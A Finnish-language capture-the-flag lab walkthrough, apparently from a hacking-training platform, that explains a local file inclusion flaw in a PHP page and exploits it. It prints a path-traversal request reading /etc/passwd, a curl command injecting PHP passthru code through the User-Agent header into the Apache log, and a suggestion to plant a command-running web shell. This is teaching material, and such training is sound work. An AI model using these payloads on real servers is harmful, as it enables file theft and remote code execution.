LFI-haavoittuvuus PHP-sovelluksessa
Tässä harjoituksessa aloitamme todentamalla haavoittuvuuden ja sitten hyödynnämme tätä suorittamalla omaa PHP-koodia sovelluksessa. Aloita käynnistämällä tehtävä ja tee vaiheet perässä. Alta löydät myös tiedoston index.php lähdekoodit, joissa kyseinen haavoittuvuus piilee.
Lähdekoodi - index.php
1<!DOCTYPE html>
2<html lang="en">
3<head>
4 <meta charset="UTF-8">
5 <title>Mythical Encyclopedia</title>
6</head>
7<body>
8 <?php
9 if (!isset($_GET["country"])) {
10 include("languages.php");
11 }
12 else {
13 echo "<h1>Mythical Encyclopedia</h1>";
14 }
15
16 if (isset($_GET["country"])) {
17 $country = $_GET["country"];
18 if ($country == "us") {
19 $file = "./us.php";
20 }
21 else if ($country == "fr") {
22 $file = "./fr.php";
23 }
24 else if ($country == "fi") {
25 $file = "./fi.php";
26 }
27 else {
28 $file = "./" . $country;
29 }
30 include($file);
31 }
32
33 ?>
34</body>
35</html>
36Haavoittuvuuden todentaminen
PHP-koodista näemme, että index.php ensin tarkistaa, onko GET parametri **country **annettu (isset-funktio) ja jos tämä on annettu, niin tarkistetaan tämän parametrin sisältämä arvo if-else-if rakenteella.
Logiikka on seuraavanlainen.
- Jos country parametri on yhtä kuin us, parametri **file **on ./us.php.
- Jos country parametri on yhtä kuin fr, parametri **file **on ./fr.php.
- Jos country parametri on yhtä kuin fi, parametri **file **on ./fi.php.
- Muussa tapauksessa, **file **parametri on yhtä kuin **./ + country **parametri.
Lopuksi suoritetaan *include-*funktio, jolle annetaan **file **parametri. Kyseinen funktio suorittaa ja palauttaa annetun tiedoston. Haavoittuvuus syntyy viimeisessä else-lausekkeessa, jossa **file **parametrille annetaan mikä vain arvo, minkä käyttäjä on antanut **country **parametrille, joka sitten annetaan include-funktiolle. Tästä syntyy LFI-haavoittuvuus.
Todennetaan haavoittuvuus suorittamalla seuraavanlainen HTTP-pyyntö.
1GET https://www-bnmpokft3q.ha-target.com/index.php?country=../../../../../../etc/passwd HTTP/1.1
Hienoa! - Onnistuimme lukemaan järjestelmän sisäisen *passwd - *tiedoston. Antamamme parametri **country **sisälsi arvon *../../../../../../etc/passwd *ja kun tämä annettiin *include *-funktiolle, oli tämän arvo ./../../../../../../etc/passwd, joka viittaa ensin sovelluksen juureen, jonka jälkeen *etc *-kansioon ja tämän sisällä olevaan *passwd *-tiedostoon.
Haavoittuvuuden hyödyntäminen
Katsotaan seuraavaksi, miten voimme suorittaa omaa PHP-koodia tätä hyödyntämällä. Ensinnäkin, on hyvä muistaa, että tässä tapauksessa sovellus käyttää include - funktiota, jonka dokumentaatio kertoo meille:
The include expression includes and evaluates the specified file.
Eli kyseinen funktio sisällyttää annetun tiedoston ja evaluoi (suorittaa) annetun tämän. Tämä tarkoittaa, että jos annettu tiedosto sisältää PHP-koodia, niin koodi suoritetaan. Tämä ei pidä aina paikkansa, sillä kaikki funktiot, mitä sovellus voi käyttää tiedoston sisällyttämiseksi eivät välttämättä suorita koodia vaan ainoastaan palauttavat sen raakana sivulle. Mutta *include-*funktion tapauksessa, PHP-koodi suoritetaan.
Tyypillisesti tämän kaltaisissa tilanteissa, hyökkääjän seuraava askel olisi yrittää tallentaa sovellukseen PHP-koodia missä muodossa tahansa, kunhan se eksyy jollekin tiedostolle, jonka hyökkääjä voi sitten sisällyttää sivulle. Tämä voi tapahtua esimerkiksi manipuloimalla HTTP-pyyntöä, siten että PHP-koodia ajautuu palvelimen loki-tiedostoon, jonka hyökkääjä voi sisällyttää sivulle. Keinoja on useita ja ovat tässä tapauksessa lähinnä riippuvaisia hyökkääjän luovuudesta.
Yritetään seuraavaksi sisällyttää apache2 -palvelun loki-tiedosto vastaavalla tavalla. **/etc/passwd **tilalle asetamme /var/log/apache2/access.log, joka on tyyppillinen sijainti, missä apache2 palvelin tallentaa HTTP-pyynnöt, joita palvelimelle on tullut.

Onnistuimme sisällyttämään palvelun access.log tiedoston. Datasta näkee, että palvelu tallentaa yleistä tietoa HTTP-pyynnöstä sekä User-Agent-otsakkeen, joka HTTP-pyynnössä on ollut. Palvelun lokitus on täysin konfiguroitavissa, joten lokitettu tieto ei ole aina sama. On hyvä myös muistaa, että loki-tiedostojen sijainti on yhtä lailla konfiguroitavissa, eikä niiden löytäminen ole aina näin helppoa.
Hyökkäys tapahtuu seuraavanlaisesti. Teemme HTTP-pyynnön, jossa käytämme User-Agent otsaketta, joka sisältää PHP-koodia. Sitten sisällytämme loki-tiedoston samalla tavalla kuin äsken ja *include *-funktion pitäisi suorittaa koodimme.
Käytämme tähän curl-komentoa, mutta saman voi tehdä millä haluaa, esimerkiksi Burpilla.
1curl -H "User-Agent: <?php echo passthru('ls -al'); ?>" https://www-8ean5fizui.ha-target.comSitten sisällytämme saman access.log -tiedoston. (huom. kuva on otettu sivun HTML-koodista, joka näyttää komennon tulosteen hieman selvemmin. Klikkaa oikealla hiiren painikkeella sivusta ja valitse View Page Source)

Voimme nyt lukea lipun *cat /flag.txt. *Voit hyvänä harjoituksena itsenäisesti yrittää luoda itsellesi paremman tavan syöttää komentoja, esimerkiksi tallentamalla sovellukseen oman PHP-skriptin, joka sallii komentojen syöttämisen parametreista.
Hakkeroinnin oppiminen alkaa tästä
Sadat interaktiiviset kurssit, virtuaalilabrat ja CTF-haasteet selaimessasi. Aloita ilmainen kokeilu ilman korttitietoja.